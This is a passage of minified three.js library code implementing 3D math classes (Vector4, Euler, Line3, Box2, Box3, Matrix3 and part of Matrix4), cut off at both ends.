t,i,r,n,o=.01,a=.1,s=e.elements,c=s[0],u=s[4],l=s[8],h=s[1],d=s[5],p=s[9],f=s[2],m=s[6],g=s[10];if(Math.abs(u-h)<o&&Math.abs(l-f)<o&&Math.abs(p-m)<o){if(Math.abs(u+h)<a&&Math.abs(l+f)<a&&Math.abs(p+m)<a&&Math.abs(c+d+g-3)<a)return this.set(1,0,0,0),this;t=Math.PI;var v=(c+1)/2,y=(d+1)/2,M=(g+1)/2,A=(u+h)/4,x=(l+f)/4,w=(p+m)/4;return v>y&&v>M?o>v?(i=0,r=.707106781,n=.707106781):(i=Math.sqrt(v),r=A/i,n=x/i):y>M?o>y?(i=.707106781,r=0,n=.707106781):(r=Math.sqrt(y),i=A/r,n=w/r):o>M?(i=.707106781,r=.707106781,n=0):(n=Math.sqrt(M),i=x/n,r=w/n),this.set(i,r,n,t),this}var E=Math.sqrt((m-p)*(m-p)+(l-f)*(l-f)+(h-u)*(h-u));return Math.abs(E)<.001&&(E=1),this.x=(m-p)/E,this.y=(l-f)/E,this.z=(h-u)/E,this.w=Math.acos((c+d+g-1)/2),this},min:function(e){return this.x=Math.min(this.x,e.x),this.y=Math.min(this.y,e.y),this.z=Math.min(this.z,e.z),this.w=Math.min(this.w,e.w),this},max:function(e){return this.x=Math.max(this.x,e.x),this.y=Math.max(this.y,e.y),this.z=Math.max(this.z,e.z),this.w=Math.max(this.w,e.w),this},clamp:function(e,t){return this.x=Math.max(e.x,Math.min(t.x,this.x)),this.y=Math.max(e.y,Math.min(t.y,this.y)),this.z=Math.max(e.z,Math.min(t.z,this.z)),this.w=Math.max(e.w,Math.min(t.w,this.w)),this},clampScalar:function(){var e,t;return function(i,r){return void 0===e&&(e=new n.Vector4,t=new n.Vector4),e.set(i,i,i,i),t.set(r,r,r,r),this.clamp(e,t)}}(),floor:function(){return this.x=Math.floor(this.x),this.y=Math.floor(this.y),this.z=Math.floor(this.z),this.w=Math.floor(this.w),this},ceil:function(){return this.x=Math.ceil(this.x),this.y=Math.ceil(this.y),this.z=Math.ceil(this.z),this.w=Math.ceil(this.w),this},round:function(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this.z=Math.round(this.z),this.w=Math.round(this.w),this},roundToZero:function(){return this.x=this.x<0?Math.ceil(this.x):Math.floor(this.x),this.y=this.y<0?Math.ceil(this.y):Math.floor(this.y),this.z=this.z<0?Math.ceil(this.z):Math.floor(this.z),this.w=this.w<0?Math.ceil(this.w):Math.floor(this.w),this},negate:function(){return this.x=-this.x,this.y=-this.y,this.z=-this.z,this.w=-this.w,this},dot:function(e){return this.x*e.x+this.y*e.y+this.z*e.z+this.w*e.w},lengthSq:function(){return this.x*this.x+this.y*this.y+this.z*this.z+this.w*this.w},length:function(){return Math.sqrt(this.x*this.x+this.y*this.y+this.z*this.z+this.w*this.w)},lengthManhattan:function(){return Math.abs(this.x)+Math.abs(this.y)+Math.abs(this.z)+Math.abs(this.w)},normalize:function(){return this.divideScalar(this.length())},setLength:function(e){return this.multiplyScalar(e/this.length())},lerp:function(e,t){return this.x+=(e.x-this.x)*t,this.y+=(e.y-this.y)*t,this.z+=(e.z-this.z)*t,this.w+=(e.w-this.w)*t,this},lerpVectors:function(e,t,i){return this.subVectors(t,e).multiplyScalar(i).add(e),this},equals:function(e){return e.x===this.x&&e.y===this.y&&e.z===this.z&&e.w===this.w},fromArray:function(e,t){return void 0===t&&(t=0),this.x=e[t],this.y=e[t+1],this.z=e[t+2],this.w=e[t+3],this},toArray:function(e,t){return void 0===e&&(e=[]),void 0===t&&(t=0),e[t]=this.x,e[t+1]=this.y,e[t+2]=this.z,e[t+3]=this.w,e},fromAttribute:function(e,t,i){return void 0===i&&(i=0),t=t*e.itemSize+i,this.x=e.array[t],this.y=e.array[t+1],this.z=e.array[t+2],this.w=e.array[t+3],this}},n.Euler=function(e,t,i,r){this._x=e||0,this._y=t||0,this._z=i||0,this._order=r||n.Euler.DefaultOrder},n.Euler.RotationOrders=["XYZ","YZX","ZXY","XZY","YXZ","ZYX"],n.Euler.DefaultOrder="XYZ",n.Euler.prototype={constructor:n.Euler,get x(){return this._x},set x(e){this._x=e,this.onChangeCallback()},get y(){return this._y},set y(e){this._y=e,this.onChangeCallback()},get z(){return this._z},set z(e){this._z=e,this.onChangeCallback()},get order(){return this._order},set order(e){this._order=e,this.onChangeCallback()},set:function(e,t,i,r){return this._x=e,this._y=t,this._z=i,this._order=r||this._order,this.onChangeCallback(),this},clone:function(){return new this.constructor(this._x,this._y,this._z,this._order)},copy:function(e){return this._x=e._x,this._y=e._y,this._z=e._z,this._order=e._order,this.onChangeCallback(),this},setFromRotationMatrix:function(e,t,i){var r=n.Math.clamp,o=e.elements,a=o[0],s=o[4],c=o[8],u=o[1],l=o[5],h=o[9],d=o[2],p=o[6],f=o[10];return t=t||this._order,"XYZ"===t?(this._y=Math.asin(r(c,-1,1)),Math.abs(c)<.99999?(this._x=Math.atan2(-h,f),this._z=Math.atan2(-s,a)):(this._x=Math.atan2(p,l),this._z=0)):"YXZ"===t?(this._x=Math.asin(-r(h,-1,1)),Math.abs(h)<.99999?(this._y=Math.atan2(c,f),this._z=Math.atan2(u,l)):(this._y=Math.atan2(-d,a),this._z=0)):"ZXY"===t?(this._x=Math.asin(r(p,-1,1)),Math.abs(p)<.99999?(this._y=Math.atan2(-d,f),this._z=Math.atan2(-s,l)):(this._y=0,this._z=Math.atan2(u,a))):"ZYX"===t?(this._y=Math.asin(-r(d,-1,1)),Math.abs(d)<.99999?(this._x=Math.atan2(p,f),this._z=Math.atan2(u,a)):(this._x=0,this._z=Math.atan2(-s,l))):"YZX"===t?(this._z=Math.asin(r(u,-1,1)),Math.abs(u)<.99999?(this._x=Math.atan2(-h,l),this._y=Math.atan2(-d,a)):(this._x=0,this._y=Math.atan2(c,f))):"XZY"===t?(this._z=Math.asin(-r(s,-1,1)),Math.abs(s)<.99999?(this._x=Math.atan2(p,l),this._y=Math.atan2(c,a)):(this._x=Math.atan2(-h,f),this._y=0)):console.warn("THREE.Euler: .setFromRotationMatrix() given unsupported order: "+t),this._order=t,i!==!1&&this.onChangeCallback(),this},setFromQuaternion:function(){var e;return function(t,i,r){return void 0===e&&(e=new n.Matrix4),e.makeRotationFromQuaternion(t),this.setFromRotationMatrix(e,i,r),this}}(),setFromVector3:function(e,t){return this.set(e.x,e.y,e.z,t||this._order)},reorder:function(){var e=new n.Quaternion;return function(t){e.setFromEuler(this),this.setFromQuaternion(e,t)}}(),equals:function(e){return e._x===this._x&&e._y===this._y&&e._z===this._z&&e._order===this._order},fromArray:function(e){return this._x=e[0],this._y=e[1],this._z=e[2],void 0!==e[3]&&(this._order=e[3]),this.onChangeCallback(),this},toArray:function(e,t){return void 0===e&&(e=[]),void 0===t&&(t=0),e[t]=this._x,e[t+1]=this._y,e[t+2]=this._z,e[t+3]=this._order,e},toVector3:function(e){return e?e.set(this._x,this._y,this._z):new n.Vector3(this._x,this._y,this._z)},onChange:function(e){return this.onChangeCallback=e,this},onChangeCallback:function(){}},n.Line3=function(e,t){this.start=void 0!==e?e:new n.Vector3,this.end=void 0!==t?t:new n.Vector3},n.Line3.prototype={constructor:n.Line3,set:function(e,t){return this.start.copy(e),this.end.copy(t),this},clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.start.copy(e.start),this.end.copy(e.end),this},center:function(e){var t=e||new n.Vector3;return t.addVectors(this.start,this.end).multiplyScalar(.5)},delta:function(e){var t=e||new n.Vector3;return t.subVectors(this.end,this.start)},distanceSq:function(){return this.start.distanceToSquared(this.end)},distance:function(){return this.start.distanceTo(this.end)},at:function(e,t){var i=t||new n.Vector3;return this.delta(i).multiplyScalar(e).add(this.start)},closestPointToPointParameter:function(){var e=new n.Vector3,t=new n.Vector3;return function(i,r){e.subVectors(i,this.start),t.subVectors(this.end,this.start);var o=t.dot(t),a=t.dot(e),s=a/o;return r&&(s=n.Math.clamp(s,0,1)),s}}(),closestPointToPoint:function(e,t,i){var r=this.closestPointToPointParameter(e,t),o=i||new n.Vector3;return this.delta(o).multiplyScalar(r).add(this.start)},applyMatrix4:function(e){return this.start.applyMatrix4(e),this.end.applyMatrix4(e),this},equals:function(e){return e.start.equals(this.start)&&e.end.equals(this.end)}},n.Box2=function(e,t){this.min=void 0!==e?e:new n.Vector2(+(1/0),+(1/0)),this.max=void 0!==t?t:new n.Vector2(-(1/0),-(1/0))},n.Box2.prototype={constructor:n.Box2,set:function(e,t){return this.min.copy(e),this.max.copy(t),this},setFromPoints:function(e){this.makeEmpty();for(var t=0,i=e.length;i>t;t++)this.expandByPoint(e[t]);return this},setFromCenterAndSize:function(){var e=new n.Vector2;return function(t,i){var r=e.copy(i).multiplyScalar(.5);return this.min.copy(t).sub(r),this.max.copy(t).add(r),this}}(),clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.min.copy(e.min),this.max.copy(e.max),this},makeEmpty:function(){return this.min.x=this.min.y=+(1/0),this.max.x=this.max.y=-(1/0),this},isEmpty:function(){return this.max.x<this.min.x||this.max.y<this.min.y},center:function(e){var t=e||new n.Vector2;return t.addVectors(this.min,this.max).multiplyScalar(.5)},size:function(e){var t=e||new n.Vector2;return t.subVectors(this.max,this.min)},expandByPoint:function(e){return this.min.min(e),this.max.max(e),this},expandByVector:function(e){return this.min.sub(e),this.max.add(e),this},expandByScalar:function(e){return this.min.addScalar(-e),this.max.addScalar(e),this},containsPoint:function(e){return e.x<this.min.x||e.x>this.max.x||e.y<this.min.y||e.y>this.max.y?!1:!0},containsBox:function(e){return this.min.x<=e.min.x&&e.max.x<=this.max.x&&this.min.y<=e.min.y&&e.max.y<=this.max.y?!0:!1},getParameter:function(e,t){var i=t||new n.Vector2;return i.set((e.x-this.min.x)/(this.max.x-this.min.x),(e.y-this.min.y)/(this.max.y-this.min.y))},intersectsBox:function(e){return e.max.x<this.min.x||e.min.x>this.max.x||e.max.y<this.min.y||e.min.y>this.max.y?!1:!0},clampPoint:function(e,t){var i=t||new n.Vector2;return i.copy(e).clamp(this.min,this.max)},distanceToPoint:function(){var e=new n.Vector2;return function(t){var i=e.copy(t).clamp(this.min,this.max);return i.sub(t).length()}}(),intersect:function(e){return this.min.max(e.min),this.max.min(e.max),this},union:function(e){return this.min.min(e.min),this.max.max(e.max),this},translate:function(e){return this.min.add(e),this.max.add(e),this},equals:function(e){return e.min.equals(this.min)&&e.max.equals(this.max)}},n.Box3=function(e,t){this.min=void 0!==e?e:new n.Vector3(+(1/0),+(1/0),+(1/0)),this.max=void 0!==t?t:new n.Vector3(-(1/0),-(1/0),-(1/0))},n.Box3.prototype={constructor:n.Box3,set:function(e,t){return this.min.copy(e),this.max.copy(t),this},setFromArray:function(e){for(var t=+(1/0),i=+(1/0),r=+(1/0),n=-(1/0),o=-(1/0),a=-(1/0),s=0,c=e.length;c>s;s+=3){var u=e[s],l=e[s+1],h=e[s+2];t>u&&(t=u),i>l&&(i=l),r>h&&(r=h),u>n&&(n=u),l>o&&(o=l),h>a&&(a=h)}this.min.set(t,i,r),this.max.set(n,o,a)},setFromPoints:function(e){this.makeEmpty();for(var t=0,i=e.length;i>t;t++)this.expandByPoint(e[t]);return this},setFromCenterAndSize:function(){var e=new n.Vector3;return function(t,i){var r=e.copy(i).multiplyScalar(.5);return this.min.copy(t).sub(r),this.max.copy(t).add(r),this}}(),setFromObject:function(){var e=new n.Vector3;return function(t){var i=this;return t.updateMatrixWorld(!0),this.makeEmpty(),t.traverse(function(t){var r=t.geometry;if(void 0!==r)if(r instanceof n.Geometry)for(var o=r.vertices,a=0,s=o.length;s>a;a++)e.copy(o[a]),e.applyMatrix4(t.matrixWorld),i.expandByPoint(e);else if(r instanceof n.BufferGeometry&&void 0!==r.attributes.position)for(var c=r.attributes.position.array,a=0,s=c.length;s>a;a+=3)e.fromArray(c,a),e.applyMatrix4(t.matrixWorld),i.expandByPoint(e)}),this}}(),clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.min.copy(e.min),this.max.copy(e.max),this},makeEmpty:function(){return this.min.x=this.min.y=this.min.z=+(1/0),this.max.x=this.max.y=this.max.z=-(1/0),this},isEmpty:function(){return this.max.x<this.min.x||this.max.y<this.min.y||this.max.z<this.min.z},center:function(e){var t=e||new n.Vector3;return t.addVectors(this.min,this.max).multiplyScalar(.5)},size:function(e){var t=e||new n.Vector3;return t.subVectors(this.max,this.min)},expandByPoint:function(e){return this.min.min(e),this.max.max(e),this},expandByVector:function(e){return this.min.sub(e),this.max.add(e),this},expandByScalar:function(e){return this.min.addScalar(-e),this.max.addScalar(e),this},containsPoint:function(e){return e.x<this.min.x||e.x>this.max.x||e.y<this.min.y||e.y>this.max.y||e.z<this.min.z||e.z>this.max.z?!1:!0},containsBox:function(e){return this.min.x<=e.min.x&&e.max.x<=this.max.x&&this.min.y<=e.min.y&&e.max.y<=this.max.y&&this.min.z<=e.min.z&&e.max.z<=this.max.z?!0:!1},getParameter:function(e,t){var i=t||new n.Vector3;return i.set((e.x-this.min.x)/(this.max.x-this.min.x),(e.y-this.min.y)/(this.max.y-this.min.y),(e.z-this.min.z)/(this.max.z-this.min.z))},intersectsBox:function(e){return e.max.x<this.min.x||e.min.x>this.max.x||e.max.y<this.min.y||e.min.y>this.max.y||e.max.z<this.min.z||e.min.z>this.max.z?!1:!0},intersectsSphere:function(){var e;return function(t){return void 0===e&&(e=new n.Vector3),this.clampPoint(t.center,e),e.distanceToSquared(t.center)<=t.radius*t.radius}}(),intersectsPlane:function(e){var t,i;return e.normal.x>0?(t=e.normal.x*this.min.x,i=e.normal.x*this.max.x):(t=e.normal.x*this.max.x,i=e.normal.x*this.min.x),e.normal.y>0?(t+=e.normal.y*this.min.y,i+=e.normal.y*this.max.y):(t+=e.normal.y*this.max.y,i+=e.normal.y*this.min.y),e.normal.z>0?(t+=e.normal.z*this.min.z,i+=e.normal.z*this.max.z):(t+=e.normal.z*this.max.z,i+=e.normal.z*this.min.z),t<=e.constant&&i>=e.constant},clampPoint:function(e,t){var i=t||new n.Vector3;return i.copy(e).clamp(this.min,this.max)},distanceToPoint:function(){var e=new n.Vector3;return function(t){var i=e.copy(t).clamp(this.min,this.max);return i.sub(t).length()}}(),getBoundingSphere:function(){var e=new n.Vector3;return function(t){var i=t||new n.Sphere;return i.center=this.center(),i.radius=.5*this.size(e).length(),i}}(),intersect:function(e){return this.min.max(e.min),this.max.min(e.max),this.isEmpty()&&this.makeEmpty(),this},union:function(e){return this.min.min(e.min),this.max.max(e.max),this},applyMatrix4:function(){var e=[new n.Vector3,new n.Vector3,new n.Vector3,new n.Vector3,new n.Vector3,new n.Vector3,new n.Vector3,new n.Vector3];return function(t){return this.isEmpty()?this:(e[0].set(this.min.x,this.min.y,this.min.z).applyMatrix4(t),e[1].set(this.min.x,this.min.y,this.max.z).applyMatrix4(t),e[2].set(this.min.x,this.max.y,this.min.z).applyMatrix4(t),e[3].set(this.min.x,this.max.y,this.max.z).applyMatrix4(t),e[4].set(this.max.x,this.min.y,this.min.z).applyMatrix4(t),e[5].set(this.max.x,this.min.y,this.max.z).applyMatrix4(t),e[6].set(this.max.x,this.max.y,this.min.z).applyMatrix4(t),e[7].set(this.max.x,this.max.y,this.max.z).applyMatrix4(t),this.setFromPoints(e),this)}}(),translate:function(e){return this.min.add(e),this.max.add(e),this},equals:function(e){return e.min.equals(this.min)&&e.max.equals(this.max)}},n.Matrix3=function(){this.elements=new Float32Array([1,0,0,0,1,0,0,0,1]),arguments.length>0&&console.error("THREE.Matrix3: the constructor no longer reads arguments. use .set() instead.")},n.Matrix3.prototype={constructor:n.Matrix3,set:function(e,t,i,r,n,o,a,s,c){var u=this.elements;return u[0]=e,u[1]=r,u[2]=a,u[3]=t,u[4]=n,u[5]=s,u[6]=i,u[7]=o,u[8]=c,this},identity:function(){return this.set(1,0,0,0,1,0,0,0,1),this},clone:function(){return(new this.constructor).fromArray(this.elements)},copy:function(e){var t=e.elements;return this.set(t[0],t[3],t[6],t[1],t[4],t[7],t[2],t[5],t[8]),this},setFromMatrix4:function(e){var t=e.elements;return this.set(t[0],t[4],t[8],t[1],t[5],t[9],t[2],t[6],t[10]),this},applyToVector3Array:function(){var e;return function(t,i,r){void 0===e&&(e=new n.Vector3),void 0===i&&(i=0),void 0===r&&(r=t.length);for(var o=0,a=i;r>o;o+=3,a+=3)e.fromArray(t,a),e.applyMatrix3(this),e.toArray(t,a);return t}}(),applyToBuffer:function(){var e;return function(t,i,r){void 0===e&&(e=new n.Vector3),void 0===i&&(i=0),void 0===r&&(r=t.length/t.itemSize);for(var o=0,a=i;r>o;o++,a++)e.x=t.getX(a),e.y=t.getY(a),e.z=t.getZ(a),e.applyMatrix3(this),t.setXYZ(e.x,e.y,e.z);return t}}(),multiplyScalar:function(e){var t=this.elements;return t[0]*=e,t[3]*=e,t[6]*=e,t[1]*=e,t[4]*=e,t[7]*=e,t[2]*=e,t[5]*=e,t[8]*=e,this},determinant:function(){var e=this.elements,t=e[0],i=e[1],r=e[2],n=e[3],o=e[4],a=e[5],s=e[6],c=e[7],u=e[8];return t*o*u-t*a*c-i*n*u+i*a*s+r*n*c-r*o*s},getInverse:function(e,t){e instanceof n.Matrix4&&console.error("THREE.Matrix3.getInverse no longer takes a Matrix4 argument.");var i=e.elements,r=this.elements,o=i[0],a=i[1],s=i[2],c=i[3],u=i[4],l=i[5],h=i[6],d=i[7],p=i[8],f=p*u-l*d,m=l*h-p*c,g=d*c-u*h,v=o*f+a*m+s*g;if(0===v){var y="THREE.Matrix3.getInverse(): can't invert matrix, determinant is 0";if(t)throw new Error(y);return console.warn(y),this.identity()}return r[0]=f,r[1]=s*d-p*a,r[2]=l*a-s*u,r[3]=m,r[4]=p*o-s*h,r[5]=s*c-l*o,r[6]=g,r[7]=a*h-d*o,r[8]=u*o-a*c,this.multiplyScalar(1/v)},transpose:function(){var e,t=this.elements;return e=t[1],t[1]=t[3],t[3]=e,e=t[2],t[2]=t[6],t[6]=e,e=t[5],t[5]=t[7],t[7]=e,this},flattenToArrayOffset:function(e,t){return console.warn("THREE.Matrix3: .flattenToArrayOffset is deprecated - just use .toArray instead."),this.toArray(e,t)},getNormalMatrix:function(e){return this.setFromMatrix4(e).getInverse(this).transpose()},transposeIntoArray:function(e){var t=this.elements;return e[0]=t[0],e[1]=t[3],e[2]=t[6],e[3]=t[1],e[4]=t[4],e[5]=t[7],e[6]=t[2],e[7]=t[5],e[8]=t[8],this},fromArray:function(e){return this.elements.set(e),this},toArray:function(e,t){void 0===e&&(e=[]),void 0===t&&(t=0);var i=this.elements;return e[t]=i[0],e[t+1]=i[1],e[t+2]=i[2],e[t+3]=i[3],e[t+4]=i[4],e[t+5]=i[5],e[t+6]=i[6],e[t+7]=i[7],e[t+8]=i[8],e}},n.Matrix4=function(){this.elements=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]),arguments.length>0&&console.error("THREE.Matrix4: the constructor no longer reads arguments. use .set() instead.")},n.Matrix4.prototype={constructor:n.Matrix4,set:function(e,t,i,r,n,o,a,s,c,u,l,h,d,p,f,m){var g=this.elements;return g[0]=e,g[4]=t,g[8]=i,g[12]=r,g[1]=n,g[5]=o,g[9]=a,g[13]=s,g[2]=c,g[6]=u,g[10]=l,g[14]=h,g[3]=d,g[7]=p,g[11]=f,g[15]=m,this},identity:function(){return this.set(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1),this},clone:function(){return(new n.Matrix4).fromArray(this.elements)},copy:function(e){return this.elements.set(e.elements),this},copyPosition:function(e){var t=this.elements,i=e.elements;return t[12]=i[12],t[13]=i[13],t[14]=i[14],this},extractBasis:function(e,t,i){return e.setFromMatrixColumn(this,0),t.setFromMatrixColumn(this,1),i.setFromMatrixColumn(this,2),this},makeBasis:function(e,t,i){return this.set(e.x,t.x,i.x,0,e.y,t.y,i.y,0,e.z,t.z,i.z,0,0,0,0,1),this},extractRotation:function(){var e;return function(t){void 0===e&&(e=new n.Vector3);var i=this.elements,r=t.elements,o=1/e.setFromMatrixColumn(t,0).length(),a=1/e.setFromMatrixColumn(t,1).length(),s=1/e.setFromMatrixColumn(t,2).length();return i[0]=r[0]*o,i[1]=r[1]*o,i[2]=r[2]*o,i[4]=r[4]*a,i[5]=r[5]*a,i[6]=r[6]*a,i[8]=r[8]*s,i[9]=r[9]*s,i[10]=r[10]*s,this}}(),makeRotationFromEuler:function(e){e instanceof n.Euler==!1&&console.error("THREE.Matrix: .makeRotationFromEuler() now expects a Euler rotation rather than a Vector3 and order.");var t=this.elements,i=e.x,r=e.y,o=e.z,a=Math.cos(i),s=Math.sin(i),c=Math.cos(r),u=Math.sin(r),l=Math.cos(o),h=Math.sin(o);if("XYZ"===e.order){var d=a*l,p=a*h,f=s*l,m=s*h;t[0]=c*l,t[4]=-c*h,t[8]=u,t[1]=p+f*u,t[5]=d-m*u,t[9]=-s*c,t[2]=m-d*u,t[6]=f+p*u,t[10]=a*c}else if("YXZ"===e.order){var g=c*l,v=c*h,y=u*l,M=u*h;t[0]=g+M*s,t[4]=y*s-v,t[8]=a*u,t[1]=a*h,t[5]=a*l,t[9]=-s,t[2]=v*s-y,t[6]=M+g*s,t[10]=a*c}else if("ZXY"===e.order){var g=c*l,v=c*h,y=u*l,M=u*h;t[0]=g-M*s,t[4]=-a*h,t[8]=y+v*s,t[1]=v+y*s,t[5]=a*l,t[9]=M-g*s,t[2]=-a*u,t[6]=s,t[10]=a*c}else if("ZYX"===e.order){var d=a*l,p=a*h,f=s*l,m=s*h;t[0]=c*l,t[4]=f*u-p,t[8]=d*u+m,t[1]=c*h,t[5]=m*u+d,t[9]=p*u-f,t[2]=-u,t[6]=s*c,t[10]=a*c}else if("YZX"===e.order){var A=a*c,x=a*u,w=s*c,E=s*u;t[0]=c*l,t[4]=E-A*h,t[8]=w*h+x,t[1]=h,t[5]=a*l,t[9]=-s*l,t[2]=-u*l,t[6]=x*h+w,t[10]=A-E*h}else if("XZY"===e.order){var A=a*c,x=a*u,w=s*c,E=s*u;t[0]=c*l,t[4]=-h,t[8]=u*l,t[1]=A*h+E,t[5]=a*l,t[9]=x*h-w,t[2]=w*h-x,t[6]=s*l,t[10]=E*h+A}return t[3]=0,t[7]=0,t[11]=0,t[12]=0,t[13]=0,t[14]=0,t[15]=1,this},makeRotationFromQuaternion:function(e){var t=this.elements,i=e.x,r=e.y,n=e.z,o=e.w,a=i+i,s=r+r,c=n+n,u=i*a,l=i*s,h=i*c,d=r*s,p=r*c,f=n*c,m=o*a,g=o*s,v=o*c;return t[0]=1-(d+f),t[4]=l-v,t[8]=h+g,t[1]=l+v,t[5]=1-(u+f),t[9]=p-m,t[2]=h-g,t[6]=p+m,t[10]=1-(u+d),t[3]=0,t[7]=0,t[11]=0,t[12]=0,
t[13]=0,t[14]=0,t[15]=1,this},lookAt:function(){var e,t,i;return function(r,o,a){void 0===e&&(e=new n.Vector3),void 0===t&&(t=new n.Vector3),void 0===i&&(i=new n.Vector3);var s=this.elements;return i.subVectors(r,o).normalize(),0===i.lengthSq()&&(i.z=1),e.crossVectors(a,i).normalize(),0===e.lengthSq()&&(i.x+=1e-4,e.crossVectors(a,i).normalize()),t.crossVectors(i,e),s[0]=e.x,s[4]=t.x,s[8]=i.x,s[1]=e.y,s[5]=t.y,s[9]=i.y,s[2]=e.z,s[6]=t.z,s[10]=i.z,this}}(),multiply:function(e,t){return void 0!==t?(console.warn("THREE.Matrix4: .multiply() now only accepts one argument. Use .multiplyMatrices( a, b ) instead."),this.multiplyMatrices(e,t)):this.multiplyMatrices(this,e)},premultiply:function(e){return this.multiplyMatrices(e,this)},multiplyMatrices:function(e,t){var i=e.elements,r=t.elements,n=this.elements,o=i[0],a=i[4],s=i[8],c=i[12],u=i[1],l=i[5],h=i[9],d=i[13],p=i[2],f=i[6],m=i[10],g=i[14],v=i[3],y=i[7],M=i[11],A=i[15],x=r[0],w=r[4],E=r[8],b=r[12],T=r[1],L=r[5],D=r[9],N=r[13],S=r[2],C=r[6],I=r[10],j=r[14],_=r[3],O=r[7],z=r[11],k=r[15];return n[0]=o*x+a*T+s*S+c*_,n[4]=o*w+a*L+s*C+c*O,n[8]=o*E+a*D+s*I+c*z,n[12]=o*b+a*N+s*j+c*k,n[1]=u*x+l*T+h*S+d*_,n[5]=u*w+l*L+h*C+d*O,n[9]=u*E+l*D+h*I+d*z,n[13]=u*b+l*N+h*j+d*k,n[2]=p*x+f*T+m*S+g*_,n[6]=p*w+f*L+m*C+g*O,n[10]=p*E+f*D+m*I+g*z,n[14]=p*b+f*N+m*j+g*k,n[3]=v*x+y*T+M*S+A*_,n[7]=v*w+y*L+M*C+A*O,n[11]=v*E+y*D+M*I+A*z,n[15]=v*b+y*N+M*j+A*k,this},multiplyToArray:function(e,t,i){var r=this.elements;return this.multiplyMatrices(e,t),i[0]=r[0],i[1]=r[1],i[2]=r[2],i[3]=r[3],i[4]=r[4],i[5]=r[5],i[6]=r[6],i[7]=r[7],i[8]=r[8],i[9]=r[9],i[10]=r[10],i[11]=r[11],i[12]=r[12],i[13]=r[13],i[14]=r[14],i[15]=r[15],this},multiplyScalar:function(e){var t=this.elements;return t[0]*=e,t[4]*=e,t[8]*=e,t[12]*=e,t[1]*=e,t[5]*=e,t[9]*=e,t[13]*=e,t[2]*=e,t[6]*=e,t[10]*=e,t[14]*=e,t[3]*=e,t[7]*=e,t[11]*=e,t[15]*=e,this},applyToVector3Array:function(){var e;return function(t,i,r){void 0===e&&(e=new n.Vector3),void 0===i&&(i=0),void 0===r&&(r=t.length);for(var o=0,a=i;r>o;o+=3,a+=3)e.fromArray(t,a),e.applyMatrix4(this),e.toArray(t,a);return t}}(),applyToBuffer:function(){var e;return function(t,i,r){void 0===e&&(e=new n.Vector3),void 0===i&&(i=0),void 0===r&&(r=t.length/t.itemSize);for(var o=0,a=i;r>o;o++,a++)e.x=t.getX(a),e.y=t.getY(a),e.z=t.getZ(a),e.applyMatrix4(this),t.setXYZ(e.x,e.y,e.z);return t}}(),determinant:function(){var e=this.elements,t=e[0],i=e[4],r=e[8],n=e[12],o=e[1],a=e[5],s=e[9],c=e[13],u=e[2],l=e[6],h=e[10],d=e[14],p=e[3],f=e[7],m=e[11],g=e[15];return p*(+n*s*l-r*c*l-n*a*h+i*c*h+r*a*d-i*s*d)+f*(+t*s*d-t*c*h+n*o*h-r*o*d+r*c*u-n*s*u)+m*(+t*c*l-t*a*d-n*o*l+i*o*d+n*a*u-i*c*u)+g*(-r*a*u-t*s*l+t*a*h+r*o*l-i*o*h+i*s*u)},transpose:function(){var e,t=this.elements;return e=t[1],t[1]=t[4],t[4]=e,e=t[2],t[2]=t[8],t[8]=e,e=t[6],t[6]=t[9],t[9]=e,e=t[3],t[3]=t[12],t[12]=e,e=t[7],t[7]=t[13],t[13]=e,e=t[11],t[11]=t[14],t[14]=e,this},flattenToArrayOffset:function(e,t){return console.warn("THREE.Matrix3: .flattenToArrayOffset is deprecated - just use .toArray instead."),this.toArray(e,t)},getPosition:function(){var e;return function(){return void 0===e&&(e=new n.Vector3),console.warn("THREE.Matrix4: .getPosition() has been removed. Use Vector3.setFromMatrixPosition( matrix ) instead."),e.setFromMatrixColumn(this,3)}}(),setPosition:function(e){var t=this.elements;return t[12]=e.x,t[13]=e.y,t[14]=e.z,this},getInverse:function(e,t){var i=this.elements,r=e.elements,n=r[0],o=r[1],a=r[2],s=r[3],c=r[4],u=r[5],l=r[6],h=r[7],d=r[8],p=r[9],f=r[10],m=r[11],g=r[12],v=r[13],y=r[14],M=r[15],A=p*y*h-v*f*h+v*l*m-u*y*m-p*l*M+u*f*M,x=g*f*h-d*y*h-g*l*m+c*y*m+d*l*M-c*f*M,w=d*v*h-g*p*h+g*u*m-c*v*m-d*u*M+c*p*M,E=g*p*l-d*v*l-g*u*f+c*v*f+d*u*y-c*p*y,b=n*A+o*x+a*w+s*E;if(0===b){var T="THREE.Matrix4.getInverse(): can't invert matrix, determinant is 0";if(t)throw new Error(T);return console.warn(T),this.identity()}return i[0]=A,i[1]=v*f*s-p*y*s-v*a*m+o*y*m+p*a*M-o*f*M,i[2]=u*y*s-v*l*s+v*a*h-o*y*h-u*a*M+o*l*M,i[3]=p*l*s-u*f*s-p*a*h+o*f*h+u*a*m-o*l*m,i[4]=x,i[5]=d*y*s-g*f*s+g*a*m-n*y*m-d*a*M+n*f*M,i[6]=g*l*s-c*y*s-g*a*h+n*y*h+c*a*M-n*l*M,i[7]=c*f*s-d*l*s+d*a*h-n*f*h-c*a*m+n*l*m,i[8]=w,i[9]=g*p*s-d*v*s-g*o*m+n*v*m+d*o*M-n*p*M,i[10]=c*v*s-g*u*s+g*o*h-n*v*h-c*o*M+n*u*M,i[11]=d*u*s-c*p*s-d*o*h+n*p*h+c*o*m-n*u*m,i[12]=E,i[13]=d*v*a-g*p*a+g*o*f-n*v*f-d*o*y+n*p*y,i[14]=g*u*a-c*v*a-g*o*l+n*v*l+c*o*y-n*u*y,i[15]=c*p*a-d*u*a+d*o*l-n*p*l-c*o*f+n*u*f,this.multiplyScalar(1/b)},scale:function(e){var t=this.elements,i=e.x,r=e.y,n=e.z;return t[0]*=i,t[4]*=r,t[8]*=n,t[1]*=i,t[5]*=r,t[9]*=n,t[2]*=i,t[6]*=r,t[10]*=n,t[3]*=i,t[7]*=r,t[11]*=n,this},getMaxScaleOnAxis:function(){var e=this.elements,t=e[0]*e[0]+e[1]*e[1]+e[2]*e[2],i=e[4]*e[4]+e[5]*e[5]+e[6]*e[6],r=e[8]*e[8]+e[9]*e[9]+e[10]*e[10];return Math.sqrt(Math.max(t,i,r))},makeTranslation:function(e,t,i){return 